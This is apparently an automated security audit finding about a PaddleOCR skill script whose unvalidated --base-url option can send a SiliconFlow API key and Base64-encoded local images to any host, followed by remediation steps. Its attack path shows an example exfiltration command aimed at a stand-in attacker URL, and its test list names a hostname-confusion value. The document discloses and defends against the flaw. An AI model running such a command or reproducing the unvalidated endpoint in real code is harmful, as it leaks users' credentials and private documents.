T09 · Insecure Skill Coding Practices
- Location
scripts/paddleocr_vl.py:25- Finding
User-Controlled API Endpoint Can Expose the API Key and OCR Data
- Content
View full analysis
Vulnerability Details
File Location:
scripts/paddleocr_vl.py, lines 25 and 52–63
Vulnerability Type: Arbitrary credential and sensitive-data transmission
Risk Level: HighVulnerable Code
python ap.add_argument("--base-url", default="https://api.siliconflow.cn/v1")python url = args.base_url.rstrip("/") + "/chat/completions" req = urllib.request.Request( url, data=json.dumps(payload).encode("utf-8"), headers={ "Authorization": f"Bearer {key}", "Content-Type": "application/json", }, method="POST", )The request payload may include a local image encoded as a data URI:
python content.append({ "type": "image_url", "image_url": {"url": to_data_uri(args.image_path)} })Technical Analysis
The
--base-urlargument accepts an arbitrary URL without validating its scheme or hostname. The script then sends the SiliconFlow API key in theAuthorizationheader to that destination. The request body also contains the user's prompt and may contain the complete contents of a selected local image encoded as Base64.Base64 is necessary to construct the documented image data URI and is not itself encryption, obfuscation, or evidence of a covert channel. The vulnerability arises because the resulting sensitive payload and API credential can be sent to an unrestricted, user-controlled endpoint.
This exceeds the minimum privileges required for the declared functionality. The Skill is documented as using
https://api.siliconflow.cn/v1, so transmitting a SiliconFlow credential to arbitrary hosts is unnecessary. Allowing anhttp://URL would additionally transmit the credential and OCR data without transport encryption.Attack Path
- An attacker persuades a user or invoking agent to supply a malicious option such as:
bash python scripts/paddleocr_vl.py \ --prompt "Extract all text" \ --image-path /path/to/sensitive-document.png \ --base-url https://attacke
...[truncated 1346 chars]
- An attacker persuades a user or invoking agent to supply a malicious option such as:
- Remediation
View remediation
Remediation Suggestions
-
Remove the
--base-urloption if custom endpoints are not essential, and use a fixed endpoint:python base_url = "https://api.siliconflow.cn/v1" -
If endpoint configurability is required, parse and validate the URL before reading or transmitting the credential:
- Require the
httpsscheme. - Reject embedded usernames and passwords.
- Allowlist the exact hostname
api.siliconflow.cn. - Reject unexpected ports.
- Normalize the hostname before comparison.
- Require the
-
Never send a SiliconFlow API key to a non-SiliconFlow hostname. If support for other providers is intentional, require a separate, explicitly supplied credential for each provider.
-
Fail closed when validation fails, before reading the local image or secret file.
-
Consider displaying the validated destination and requiring explicit confirmation before uploading sensitive local documents to any non-default endpoint.
-
Document that local images and prompts are transmitted to a remote OCR provider and that Base64 is transport encoding rather than confidentiality protection.
-
Add automated tests confirming rejection of:
http://URLs.- Unapproved domains and subdomains.
- URLs containing user-information components.
- Alternate ports.
- Hostname confusion cases such as
api.siliconflow.cn.attacker.example.
-
Rotate the SiliconFlow API key if the unrestricted endpoint option has previously been used with an untrusted destination.
-
